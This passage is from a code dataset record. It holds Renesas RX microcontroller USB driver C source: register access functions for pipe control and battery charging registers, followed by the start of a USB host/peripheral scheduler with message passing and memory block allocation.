usb_creg_read_pipebuf( USB_UTR_t *ptr )\n{\n if(ptr->ip == USB_USBIP_1)\n {\n return (uint16_t)ptr->ipp1->PIPEBUF.WORD;\n }\n else\n {\n return 0;\n }\n} /* eof usb_creg_read_pipebuf() */\n#endif /* #if defined(BSP_MCU_RX64M) || (BSP_MCU_RX71M) */\n/************/\n/* PIPEMAXP */\n/************/\n/* Pipe Maximum Packet Size Register */\n\n/******************************************************************************\nFunction Name : usb_creg_read_pipemaxp\nDescription : Returns PIPEMAXP register content.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\nReturn value : PIPEMAXP content\n******************************************************************************/\nuint16_t usb_creg_read_pipemaxp( USB_UTR_t *ptr )\n{\n return (uint16_t)ptr->ipp->PIPEMAXP.WORD;\n} /* eof usb_creg_read_pipemaxp() */\n\n/******************************************************************************\nFunction Name : usb_creg_write_pipemaxp\nDescription : Specified data is written to PIPEMAXP register.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t data : The value to write.\nReturn value : none\n******************************************************************************/\nvoid usb_creg_write_pipemaxp( USB_UTR_t *ptr, uint16_t data )\n{\n ptr->ipp->PIPEMAXP.WORD = data;\n} /* eof usb_creg_write_pipemaxp() */\n\n/******************************************************************************\nFunction Name : usb_creg_set_mxps\nDescription : The specified MXPS-bits, Maximum Packet Size, in PIPEMAXP register is set.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t data : Max packet size value.\nReturn value : none\n******************************************************************************/\nvoid usb_creg_set_mxps( USB_UTR_t *ptr, uint16_t data )\n{\n ptr->ipp->PIPEMAXP.WORD &= (uint16_t)~USB_MXPS;\n ptr->ipp->PIPEMAXP.WORD |= (data << USB_MXPS_NUM_SHIFT);\n} /* eof usb_creg_set_mxps() */\n\n\n/************/\n/* PIPEPERI */\n/************/\n/* Pipe Cycle Control Register */\n\n/******************************************************************************\nFunction Name : usb_creg_read_pipeperi\nDescription : Returns PIPEPERI register content.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\nReturn value : PIPEPERI content\n******************************************************************************/\nuint16_t usb_creg_read_pipeperi( USB_UTR_t *ptr )\n{\n return (uint16_t)ptr->ipp->PIPEPERI.WORD;\n} /* eof usb_creg_read_pipeperi() */\n\n/******************************************************************************\nFunction Name : usb_creg_write_pipeperi\nDescription : Specified data is written to PIPEPERI register.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t data : The value to write.\nReturn value : none\n******************************************************************************/\nvoid usb_creg_write_pipeperi( USB_UTR_t *ptr, uint16_t data )\n{\n ptr->ipp->PIPEPERI.WORD = data;\n} /* eof usb_creg_write_pipeperi() */\n\n\n/********************/\n/* DCPCTR, PIPEnCTR */\n/********************/\n/* PIPEn Control Registers */\n\n/******************************************************************************\nFunction Name : usb_creg_read_pipectr\nDescription : Returns DCPCTR or the specified pipe's PIPECTR register content.\n : The Pipe Control Register returned is determined by the speci-\n : fied pipe number.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t pipeno: Pipe number.\nReturn value : PIPExCTR content\n******************************************************************************/\nuint16_t usb_creg_read_pipectr( USB_UTR_t *ptr, uint16_t pipeno )\n{\n volatile uint16_t *reg_p;\n\n if( USB_PIPE0 == pipeno )\n {\n reg_p = (uint16_t *)&(ptr->ipp->DCPCTR);\n }\n else\n {\n reg_p = (uint16_t *)&(ptr->ipp->PIPE1CTR) + (pipeno - 1);\n }\n\n return *reg_p;\n} /* eof usb_creg_read_pipectr() */\n\n/******************************************************************************\nFunction Name : usb_creg_write_pipectr\nDescription : Specified data is written to the specified pipe's PIPEPERI register.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t pipeno: Pipe number\n : uint16_t data : The value to write.\nReturn value : none\n******************************************************************************/\nvoid usb_creg_write_pipectr( USB_UTR_t *ptr, uint16_t pipeno, uint16_t data )\n{\n volatile uint16_t *reg_p;\n\n if( USB_PIPE0 == pipeno )\n {\n reg_p = (uint16_t *)&(ptr->ipp->DCPCTR);\n }\n else\n {\n reg_p = (uint16_t *)&(ptr->ipp->PIPE1CTR) + (pipeno - 1);\n }\n *reg_p = data;\n} /* eof usb_creg_write_pipectr() */\n\n/******************************************************************************\nFunction Name : usb_creg_set_csclr\nDescription : Set CSCLR bit in the specified pipe's PIPECTR register\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t pipeno : Pipe number\nReturn value : none\n******************************************************************************/\nvoid usb_creg_set_csclr( USB_UTR_t *ptr, uint16_t pipeno )\n{\n volatile uint16_t *reg_p;\n\n reg_p = (uint16_t *)&(ptr->ipp->PIPE1CTR) + (pipeno - 1);\n\n *reg_p |= USB_CSCLR;\n} /* eof usb_creg_set_csclr() */\n\n/******************************************************************************\nFunction Name : usb_creg_set_aclrm\nDescription : The ACLRM-bit (Auto Buffer Clear Mode) is set in the specified \n : pipe's control register.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t pipeno: Pipe number.\nReturn value : none\n******************************************************************************/\nvoid usb_creg_set_aclrm( USB_UTR_t *ptr, uint16_t pipeno )\n{\n volatile uint16_t *reg_p;\n\n reg_p = (uint16_t *)&(ptr->ipp->PIPE1CTR) + (pipeno - 1);\n\n *reg_p |= USB_ACLRM;\n} /* eof usb_creg_set_aclrm() */\n\n/******************************************************************************\nFunction Name : usb_creg_clr_aclrm\nDescription : Clear the ACLRM bit in the specified pipe's control register\n : to disable Auto Buffer Clear Mode.\n : its BEMP interrupt status.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t pipeno: Pipe number.\nReturn value : none\n******************************************************************************/\nvoid usb_creg_clr_aclrm( USB_UTR_t *ptr, uint16_t pipeno )\n{\n volatile uint16_t *reg_p;\n\n reg_p = (uint16_t *)&(ptr->ipp->PIPE1CTR) + (pipeno - 1);\n\n *reg_p &= ~USB_ACLRM;\n} /* eof usb_creg_clr_aclrm() */\n\n/******************************************************************************\nFunction Name : usb_creg_set_sqclr\nDescription : The SQCLR-bit (Toggle Bit Clear) is set in the specified pipe's \n : control register. Setting SQSET to 1 makes DATA0 the expected \n : data in the pipe's next transfer.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t pipeno: Pipe number.\nReturn value : none\n******************************************************************************/\nvoid usb_creg_set_sqclr( USB_UTR_t *ptr, uint16_t pipeno )\n{\n if( pipeno == USB_PIPE0 )\n {\n ptr->ipp->DCPCTR.WORD |= USB_SQCLR;\n }\n else\n {\n volatile uint16_t *reg_p;\n\n reg_p = ((uint16_t *)&(ptr->ipp->PIPE1CTR) + (pipeno - 1));\n *reg_p |= USB_SQCLR;\n }\n} /* eof usb_creg_set_sqclr() */\n\n/******************************************************************************\nFunction Name : usb_creg_set_sqset\nDescription : The SQSET-bit (Toggle Bit Set) is set in the specified pipe's \n : control register. Setting SQSET to 1 makes DATA1 the expected \n : data in the next transfer.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t pipeno: Pipe number.\nReturn value : none\n******************************************************************************/\nvoid usb_creg_set_sqset( USB_UTR_t *ptr, uint16_t pipeno )\n{\n if( pipeno == USB_PIPE0 )\n {\n ptr->ipp->DCPCTR.WORD |= USB_SQSET;\n }\n else\n {\n volatile uint16_t *reg_p;\n\n reg_p = ((uint16_t *)&(ptr->ipp->PIPE1CTR) + (pipeno - 1));\n *reg_p |= USB_SQSET;\n }\n} /* eof usb_creg_set_sqset() */\n\n/******************************************************************************\nFunction Name : usb_creg_clr_sqset\nDescription : The SQSET-bit (Toggle Bit Set) is cleared in the specified \n : pipe's control register.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t pipeno: Pipe number.\nReturn value : none\n******************************************************************************/\nvoid usb_creg_clr_sqset( USB_UTR_t *ptr, uint16_t pipeno )\n{\n if( pipeno == USB_PIPE0 )\n {\n ptr->ipp->DCPCTR.WORD &= ~USB_SQSET;\n }\n else\n {\n volatile uint16_t *reg_p;\n\n reg_p = ((uint16_t *)&(ptr->ipp->PIPE1CTR) + (pipeno - 1));\n *reg_p &= ~USB_SQSET;\n }\n} /* eof usb_creg_clr_sqset() */\n\n/******************************************************************************\nFunction Name : usb_creg_set_pid\nDescription : Set the specified PID of the specified pipe's DCPCTR/PIPECTR \n : register.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t pipeno: Pipe number.\n : uint16_t data : NAK/BUF/STALL.\nReturn value : none\n******************************************************************************/\nvoid usb_creg_set_pid( USB_UTR_t *ptr, uint16_t pipeno, uint16_t data )\n{\n volatile uint16_t *reg_p;\n\n if( pipeno == USB_PIPE0 )\n {\n reg_p = ((uint16_t *)&(ptr->ipp->DCPCTR));\n }\n else\n {\n reg_p = ((uint16_t *)&(ptr->ipp->PIPE1CTR) + (pipeno - 1));\n }\n *reg_p &= ~USB_PID;\n *reg_p |= data;\n} /* eof usb_creg_set_pid() */\n\n/******************************************************************************\nFunction Name : usb_creg_clr_pid\nDescription : Clear the specified PID-bits of the specified pipe's DCPCTR/\n : PIPECTR register.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t pipeno: Pipe number.\n : uint16_t data : NAK/BUF/STALL - to be cleared.\nReturn value : none\n******************************************************************************/\nvoid usb_creg_clr_pid( USB_UTR_t *ptr, uint16_t pipeno, uint16_t data )\n{\n volatile uint16_t *reg_p;\n\n if( pipeno == USB_PIPE0 )\n {\n reg_p = ((uint16_t *)&(ptr->ipp->DCPCTR));\n }\n else\n {\n reg_p = ((uint16_t *)&(ptr->ipp->PIPE1CTR) + (pipeno - 1));\n }\n *reg_p &= ~data;\n} /* eof usb_creg_clr_pid() */\n\n\n/************/\n/* PIPEnTRE */\n/************/\n/* PIPEn Transaction Counter Enable Registers */\n\n/******************************************************************************\nFunction Name : usb_creg_read_pipetre\nDescription : Returns the specified pipe's PIPETRE register content.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t pipeno: Pipe number.\nReturn value : PIPETRE content\n******************************************************************************/\nuint16_t usb_creg_read_pipetre( USB_UTR_t *ptr, uint16_t pipeno )\n{\n volatile uint16_t *reg_p;\n\n reg_p = (uint16_t *)&(ptr->ipp->PIPE1TRE) + (pipeno - 1) * 2;\n \n return *reg_p;\n} /* eof usb_creg_read_pipetre() */\n\n/******************************************************************************\nFunction Name : usb_creg_set_trenb\nDescription : The TRENB-bit (Transaction Counter Enable) is set in the speci-\n : fied pipe's control register, to enable the counter.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t pipeno: Pipe number.\nReturn value : none\n******************************************************************************/\nvoid usb_creg_set_trenb( USB_UTR_t *ptr, uint16_t pipeno )\n{\n volatile uint16_t *reg_p;\n\n reg_p = (uint16_t *)&(ptr->ipp->PIPE1TRE) + (pipeno - 1) * 2;\n\n *reg_p |= USB_TRENB;\n} /* eof usb_creg_set_trenb() */\n\n/******************************************************************************\nFunction Name : usb_creg_clr_trenb\nDescription : The TRENB-bit (Transaction Counter Enable) is cleared in the \n : specified pipe's control register, to disable the counter.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t pipeno: Pipe number.\nReturn value : none\n******************************************************************************/\nvoid usb_creg_clr_trenb( USB_UTR_t *ptr, uint16_t pipeno )\n{\n volatile uint16_t *reg_p;\n\n reg_p = (uint16_t *)&(ptr->ipp->PIPE1TRE) + (pipeno - 1) * 2;\n\n *reg_p &= ~USB_TRENB;\n} /* eof usb_creg_clr_trenb() */\n\n/******************************************************************************\nFunction Name : usb_creg_set_trclr\nDescription : The TRENB-bit (Transaction Counter Clear) is set in the speci-\n : fied pipe's control register to clear the current counter \n : value.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t pipeno: Pipe number.\nReturn value : none\n******************************************************************************/\nvoid usb_creg_set_trclr( USB_UTR_t *ptr, uint16_t pipeno )\n{\n volatile uint16_t *reg_p;\n\n reg_p = (uint16_t *)&(ptr->ipp->PIPE1TRE) + (pipeno - 1) * 2;\n\n *reg_p |= USB_TRCLR;\n} /* eof usb_creg_set_trclr() */\n\n\n/************/\n/* PIPEnTRN */\n/************/\n/* PIPEn Transaction Counter Registers */\n\n/******************************************************************************\nFunction Name : usb_creg_read_pipetrn\nDescription : Returns the specified pipe's PIPETRN register content.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel. \n : uint16_t pipeno: Pipe number.\nReturn value : PIPETRN content\n******************************************************************************/\nuint16_t usb_creg_read_pipetrn( USB_UTR_t *ptr, uint16_t pipeno )\n{\n volatile uint16_t *reg_p;\n\n reg_p = (uint16_t *)&(ptr->ipp->PIPE1TRN) + ((pipeno - 1) * 2);\n\n return *reg_p;\n} /* eof usb_creg_read_pipetrn() */\n\n/******************************************************************************\nFunction Name : usb_creg_write_pipetrn\nDescription : Specified data is written to the specified pipe's PIPETRN reg-\n : ister.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t pipeno: Pipe number.\n : uint16_t data : The value to write.\nReturn value : none\n******************************************************************************/\nvoid usb_creg_write_pipetrn( USB_UTR_t *ptr, uint16_t pipeno, uint16_t data )\n{\n volatile uint16_t *reg_p;\n\n reg_p = (uint16_t *)&(ptr->ipp->PIPE1TRN) + ((pipeno - 1) * 2);\n\n *reg_p = data;\n} /* eof usb_creg_write_pipetrn */\n\n/************/\n/* DEVADDn */\n/************/\n\n#if defined(BSP_MCU_RX64M) || defined(BSP_MCU_RX71M)\n/************/\n/* LPSTS */\n/************/\n/******************************************************************************\nFunction Name : usb_creg_set_suspendm\nDescription : Set SuspendM bit.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\nReturn value : none\n******************************************************************************/\nvoid usb_creg_set_suspendm( USB_UTR_t *ptr )\n{\n ptr->ipp1->LPSTS.WORD |= USB_SUSPENDM;\n} /* eof usb_creg_set_suspendm */\n\n/************/\n/* BCCTRL */\n/************/\n/******************************************************************************\nFunction Name : usb_creg_read_bcctrl\nDescription : Returns BCCTRL register content.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\nReturn value : BCCTRL content\n******************************************************************************/\nuint16_t usb_creg_read_bcctrl( USB_UTR_t *ptr )\n{\n if(ptr->ip == USB_USBIP_1)\n {\n return (uint16_t)ptr->ipp1->BCCTRL.WORD;\n }\n else\n {\n return 0;\n }\n} /* eof usb_creg_read_bcctrl() */\n\n/******************************************************************************\nFunction Name : usb_creg_set_vdmsrce\nDescription : Set VDMSRCE bit.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\nReturn value : none\n******************************************************************************/\nvoid usb_creg_set_vdmsrce( USB_UTR_t *ptr )\n{\n if(ptr->ip == USB_USBIP_1)\n {\n ptr->ipp1->BCCTRL.WORD |= USB_VDMSRCE;\n }\n} /* eof usb_creg_set_vdmsrce() */\n\n/******************************************************************************\nFunction Name : usb_creg_clr_vdmsrce\nDescription : Clear VDMSRCE bits.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\nReturn value : none\n******************************************************************************/\nvoid usb_creg_clr_vdmsrce( USB_UTR_t *ptr )\n{\n if(ptr->ip == USB_USBIP_1)\n {\n ptr->ipp1->BCCTRL.WORD &= ~USB_VDMSRCE;\n }\n} /* eof usb_creg_clr_vdmsrce() */\n\n/******************************************************************************\nFunction Name : usb_creg_set_idpsinke\nDescription : Set IDPSINKE bit.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\nReturn value : none\n******************************************************************************/\nvoid usb_creg_set_idpsinke( USB_UTR_t *ptr )\n{\n if(ptr->ip == USB_USBIP_1)\n {\n ptr->ipp1->BCCTRL.WORD |= USB_IDPSINKE;\n }\n} /* eof usb_creg_set_idpsinke() */\n\n/******************************************************************************\nFunction Name : usb_creg_clr_idpsinke\nDescription : Clear IDPSINKE bits.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\nReturn value : none\n******************************************************************************/\nvoid usb_creg_clr_idpsinke( USB_UTR_t *ptr )\n{\n if(ptr->ip == USB_USBIP_1)\n {\n ptr->ipp1->BCCTRL.WORD &= ~USB_IDPSINKE;\n }\n} /* eof usb_creg_clr_idpsinke() */\n#endif /* #if defined(BSP_MCU_RX64M) || (BSP_MCU_RX71M) */\n/******************************************************************************\nEnd of file\n******************************************************************************/\n" }, { "alpha_fraction": 0.4015744924545288, "alphanum_fraction": 0.4062281847000122, "avg_line_length": 35.21629333496094, "blob_id": "34762a02a528be824c1ef5cbb3df6b41f1da92f6", "content_id": "278a22649487eca8e791ee92b98f5deee1176d65", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 25786, "license_type": "no_license", "max_line_length": 120, "num_lines": 712, "path": "/r_usb_basic/src/driver/comm/r_usb_cscheduler.c", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/***********************************************************************************************************************\n* DISCLAIMER\n* This software is supplied by Renesas Electronics Corporation and is only intended for use with Renesas products. No\n* other uses are authorized. This software is owned by Renesas Electronics Corporation and is protected under all\n* applicable laws, including copyright laws.\n* THIS SOFTWARE IS PROVIDED \"AS IS\" AND RENESAS MAKES NO WARRANTIES REGARDING\n* THIS SOFTWARE, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING BUT NOT LIMITED TO WARRANTIES OF MERCHANTABILITY,\n* FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. ALL SUCH WARRANTIES ARE EXPRESSLY DISCLAIMED. TO THE MAXIMUM\n* EXTENT PERMITTED NOT PROHIBITED BY LAW, NEITHER RENESAS ELECTRONICS CORPORATION NOR ANY OF ITS AFFILIATED COMPANIES\n* SHALL BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES FOR ANY REASON RELATED TO THIS\n* SOFTWARE, EVEN IF RENESAS OR ITS AFFILIATES HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\n* Renesas reserves the right, without notice, to make changes to this software and to discontinue the availability of\n* this software. By using this software, you agree to the additional terms and conditions found by accessing the\n* following link:\n* http://www.renesas.com/disclaimer\n*\n* Copyright (C) 2014(2015) Renesas Electronics Corporation. All rights reserved.\n***********************************************************************************************************************/\n/***********************************************************************************************************************\n* File Name : r_usb_cscheduler.c\n* Description : USB Host and Peripheral scheduler code\n***********************************************************************************************************************/\n/**********************************************************************************************************************\n* History : DD.MM.YYYY Version Description\n* : 04.01.2014 1.00 First Release\n* : 30.01.2015 1.01 Added RX71M.\n***********************************************************************************************************************/\n\n\n/******************************************************************************\nIncludes <System Includes> , \"Project Includes\"\n******************************************************************************/\n#include \"r_usb_basic_if.h\"\n\n#ifdef FREE_RTOS_PP\n#include \"FreeRTOS.h\"\n#include \"task.h\"\n#include \"queue.h\"\n#include \"config_kernel.h\"\n#endif\n#ifdef FREE_RTOS_PP\n /* empty */\n#else\n/******************************************************************************\nConstant macro definitions\n******************************************************************************/\n#define USB_IDMAX 11u /* Maximum Task ID +1 */\n#define USB_PRIMAX 8u /* Maximum Priority number +1 */\n#define USB_BLKMAX 20u /* Maximum block */\n#define USB_TABLEMAX USB_BLKMAX /* Maximum priority table */\n#define USB_WAIT_EVENT_MAX (5u)\n\n/******************************************************************************\nPrivate global variables and functions\n******************************************************************************/\n\n/* Priority Table */\nstatic USB_MSG_t* usb_scstd_TableAdd[USB_PRIMAX][USB_TABLEMAX];\nstatic uint8_t usb_scstd_TableID[USB_PRIMAX][USB_TABLEMAX];\nstatic uint8_t usb_scstd_PriR[USB_PRIMAX];\nstatic uint8_t usb_scstd_PriW[USB_PRIMAX];\nstatic uint8_t usb_scstd_Pri[USB_IDMAX];\n\n/* Schedule Set Flag */\nstatic uint8_t usb_scstd_ScheduleFlag;\n\n/* Fixed-sized memory pools */\nstatic USB_UTR_t usb_scstd_Block[USB_BLKMAX];\nstatic uint8_t usb_scstd_BlkFlg[USB_BLKMAX];\n\nstatic USB_MSG_t* usb_scstd_Add_use;\nstatic uint8_t usb_scstd_ID_use;\n\n/* Wait MSG */\nstatic USB_MSG_t* usb_scstd_WaitAdd[USB_IDMAX][USB_WAIT_EVENT_MAX];\nstatic uint16_t usb_scstd_WaitCounter[USB_IDMAX][USB_WAIT_EVENT_MAX];\n#endif /* FREE_RTOS_PP */\n\n/******************************************************************************\nExternal variables and functions\n******************************************************************************/\nextern void usb_cpu_int_enable(USB_UTR_t *ptr);\nextern void usb_cpu_int_disable(USB_UTR_t *ptr);\n\n/******************************************************************************\nStatic variables and functions\n******************************************************************************/\n\n/******************************************************************************\nRenesas Scheduler API functions\n******************************************************************************/\n\n\n/******************************************************************************\nFunction Name : usb_cstd_RecMsg\nDescription : Receive a message to the specified id (mailbox).\nArgument : uint8_t id : ID number (mailbox).\n : USB_MSG_t** mess : Message pointer\n : USB_TM_t tm : Timeout Value\nReturn : uint16_t : USB_E_OK / USB_E_ERROR\n******************************************************************************/\nUSB_ER_t usb_cstd_RecMsg( uint8_t id, USB_MSG_t** mess, USB_TM_t tm )\n{\n#ifdef FREE_RTOS_PP\n signed portBASE_TYPE err;\n xQueueHandle handle;\n\n handle = *( mbox_table[ id ] );\n *mess = NULL;\n tm; /* unused */\n\n /* xQueueReceive never time out */\n err = xQueueReceive( handle, (void *)mess, portMAX_DELAY );\n\n if (( err == pdTRUE ) && ( *mess != NULL ))\n {\n return USB_E_OK;\n }\n else\n {\n return USB_E_ERROR;\n }\n#else\n if(( id < USB_IDMAX ) && ( usb_scstd_ID_use < USB_IDMAX ))\n {\n if( id == usb_scstd_ID_use )\n {\n *mess = usb_scstd_Add_use;\n return USB_E_OK;\n }\n } \n return USB_E_ERROR;\n#endif /* FREE_RTOS_PP */\n}\n/******************************************************************************\nEnd of function usb_cstd_RecMsg\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : R_usb_cstd_RecMsg\nDescription : Receive a message to the specified id (mailbox).\nArgument : uint8_t id : ID number (mailbox).\n : USB_MSG_t** mess : Message pointer\n : USB_TM_t tm : Timeout Value\nReturn : uint16_t : USB_E_OK / USB_E_ERROR\n******************************************************************************/\nUSB_ER_t R_usb_cstd_RecMsg( uint8_t id, USB_MSG_t** mess, USB_TM_t tm )\n{\n USB_ER_t err;\n\n err = usb_cstd_RecMsg( id, mess, tm );\n\n return err;\n}\n/******************************************************************************\nEnd of function R_usb_cstd_RecMsg\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_cstd_SndMsg\nDescription : Send a message to the specified id (mailbox).\nArgument : uint8_t id : ID number (mailbox).\n : USB_MSG_t* mess : Message pointer\nReturn : USB_ER_t : USB_E_OK / USB_E_ERROR\n******************************************************************************/\nUSB_ER_t usb_cstd_SndMsg( uint8_t id, USB_MSG_t* mess )\n{\n#ifdef FREE_RTOS_PP\n signed portBASE_TYPE err;\n xQueueHandle handle;\n\n handle = *( mbox_table[ id ] );\n\n err = xQueueSend( handle, (const void *)&mess, 0 );\n\n if ( err == pdTRUE )\n {\n return USB_E_OK;\n }\n else\n {\n return USB_E_ERROR;\n }\n#else\n USB_ER_t status;\n\n /* USB interrupt disable */\n usb_cpu_int_disable((USB_UTR_t*)mess);\n status = usb_cstd_iSndMsg(id,mess);\n /* USB interrupt enable */\n usb_cpu_int_enable((USB_UTR_t*)mess);\n return status;\n#endif /* FREE_RTOS_PP */\n}\n/******************************************************************************\nEnd of function usb_cstd_SndMsg\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : R_usb_cstd_SndMsg\nDescription : Send a message to the specified id (mailbox).\nArgument : uint8_t id : ID number (mailbox).\n : USB_MSG_t* mess : Message pointer\nReturn : USB_ER_t : USB_E_OK / USB_E_ERROR\n******************************************************************************/\nUSB_ER_t R_usb_cstd_SndMsg( uint8_t id, USB_MSG_t* mess )\n{\n USB_ER_t status;\n\n status = usb_cstd_SndMsg( id, mess );\n\n return status;\n}\n/******************************************************************************\nEnd of function R_usb_cstd_SndMsg\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_cstd_iSndMsg\nDescription : Send a message to the specified id (mailbox) while executing \n : an interrupt.\nArgument : uint8_t id : ID number (mailbox).\n : USB_MSG_t* mess : Message pointer\nReturn : USB_ER_t : USB_E_OK / USB_E_ERROR\n******************************************************************************/\nUSB_ER_t usb_cstd_iSndMsg( uint8_t id, USB_MSG_t* mess )\n{\n#ifdef FREE_RTOS_PP\n signed portBASE_TYPE err;\n xQueueHandle handle;\n portBASE_TYPE xHigherPriorityTaskWoken = pdFALSE;\n\n handle = *( mbox_table[ id ] );\n\n err = xQueueSendFromISR( handle, (const void *)&mess, &xHigherPriorityTaskWoken );\n\n if ( err == pdTRUE )\n {\n portYIELD_FROM_ISR ( xHigherPriorityTaskWoken );\n return USB_E_OK;\n }\n else\n {\n return USB_E_ERROR;\n }\n#else\n uint8_t usb_pri; /* Task Priority */\n uint8_t usb_write; /* Priority Table Writing pointer */\n\n if( id < USB_IDMAX )\n {\n /* Read priority and table pointer */\n usb_pri = usb_scstd_Pri[id];\n usb_write = usb_scstd_PriW[usb_pri];\n if( usb_pri < USB_PRIMAX )\n {\n /* Renewal write pointer */\n usb_write++;\n if( usb_write >= USB_TABLEMAX )\n {\n usb_write = USB_TBLCLR;\n }\n /* Check pointer */\n if( usb_write == usb_scstd_PriR[usb_pri])\n {\n return USB_E_ERROR;\n }\n /* Save message */\n /* Set priority table */\n usb_scstd_TableID[usb_pri][usb_write] = id;\n usb_scstd_TableAdd[usb_pri][usb_write] = mess;\n usb_scstd_PriW[usb_pri] = usb_write;\n return USB_E_OK;\n }\n }\n USB_PRINTF0(\"SND_MSG ERROR !!\\n\");\n return USB_E_ERROR;\n#endif /* FREE_RTOS_PP */\n\n}\n/******************************************************************************\nEnd of function usb_cstd_iSndMsg\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : R_usb_cstd_iSndMsg\nDescription : Send a message to the specified id (mailbox) while executing \n : an interrupt.\nArgument : uint8_t id : ID number (mailbox).\n : USB_MSG_t* mess : Message pointer\nReturn : USB_ER_t : USB_E_OK / USB_E_ERROR\n******************************************************************************/\nUSB_ER_t R_usb_cstd_iSndMsg( uint8_t id, USB_MSG_t* mess )\n{\n USB_ER_t err;\n\n err = usb_cstd_iSndMsg( id, mess );\n\n return err;\n}\n/******************************************************************************\nEnd of function R_usb_cstd_iSndMsg\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_cstd_PgetBlk\nDescription : Get a memory block for the caller.\nArgument : uint8_t id : ID number (mailbox).\n : USB_UTR_t** blk : Memory block pointer.\nReturn : USB_ER_t : USB_E_OK / USB_E_ERROR\n******************************************************************************/\nUSB_ER_t usb_cstd_PgetBlk( uint8_t id, USB_UTR_t** blk )\n{\n#ifdef FREE_RTOS_PP\n signed portBASE_TYPE err;\n xQueueHandle handle;\n handle = *( mpl_table[ id ] );\n err = xQueueReceive( handle, (void *)blk, (portTickType)0 );\n if ( err == pdTRUE )\n {\n return USB_E_OK;\n }\n else\n {\n return USB_E_ERROR;\n }\n#else\n uint8_t usb_s_pblk_c;\n\n if( id < USB_IDMAX )\n {\n usb_s_pblk_c = USB_CNTCLR;\n while(usb_s_pblk_c != USB_BLKMAX)\n {\n if(usb_scstd_BlkFlg[usb_s_pblk_c] == USB_FLGCLR)\n {\n /* Acquire fixed-size memory block */\n *blk = &usb_scstd_Block[usb_s_pblk_c];\n usb_scstd_BlkFlg[usb_s_pblk_c] = USB_FLGSET;\n return USB_E_OK;\n }\n usb_s_pblk_c++;\n }\n /* Error of BLK Table Full !! */\n USB_PRINTF1(\"usb_scBlkFlg[%d][] Full !!\\n\",id);\n }\n return USB_E_ERROR;\n#endif /* FREE_RTOS_PP */\n}\n/******************************************************************************\nEnd of function usb_cstd_PgetBlk\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : R_usb_cstd_PgetBlk\nDescription : Call the get memory block function to get a memory block for \n : the caller.\nArgument : uint8_t id : ID number (mailbox).\n : USB_UTR_t** blk : Memory block pointer.\nReturn : USB_ER_t : USB_E_OK / USB_E_ERROR\n******************************************************************************/\nUSB_ER_t R_usb_cstd_PgetBlk( uint8_t id, USB_UTR_t** blk )\n{\n USB_ER_t err;\n\n err = usb_cstd_PgetBlk( id, blk );\n\n return err;\n}\n/******************************************************************************\nEnd of function R_usb_cstd_PgetBlk\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_cstd_RelBlk\nDescription : Release a memory block.\nArgument : uint8_t id : ID number (mailbox).\n : USB_UTR_t* blk : Memory block pointer.\nReturn : USB_ER_t : USB_E_OK / USB_E_ERROR\n******************************************************************************/\nUSB_ER_t usb_cstd_RelBlk( uint8_t id, USB_UTR_t* blk )\n{\n#ifdef FREE_RTOS_PP\n signed portBASE_TYPE err;\n xQueueHandle handle;\n\n handle = *( mpl_table[ id ] );\n err = xQueueSend( handle, (void *)&blk, (portTickType)0 );\n\n if ( err == pdTRUE )\n {\n return USB_E_OK;\n }\n else\n {\n return USB_E_ERROR;\n }\n#else\n uint16_t usb_s_rblk_c;\n\n if( id < USB_IDMAX )\n {\n usb_s_rblk_c = USB_CNTCLR;\n while(usb_s_rblk_c != USB_BLKMAX)\n {\n if(blk == &usb_scstd_Block[usb_s_rblk_c])\n {\n /* Release fixed-size memory block */\n usb_scstd_BlkFlg[usb_s_rblk_c] = USB_FLGCLR;\n return USB_E_OK;\n }\n usb_s_rblk_c++;\n }\n /* Error of BLK Flag is not CLR !! */\n USB_PRINTF0(\"TskBlk NO CLR !!\\n\");\n }\n return 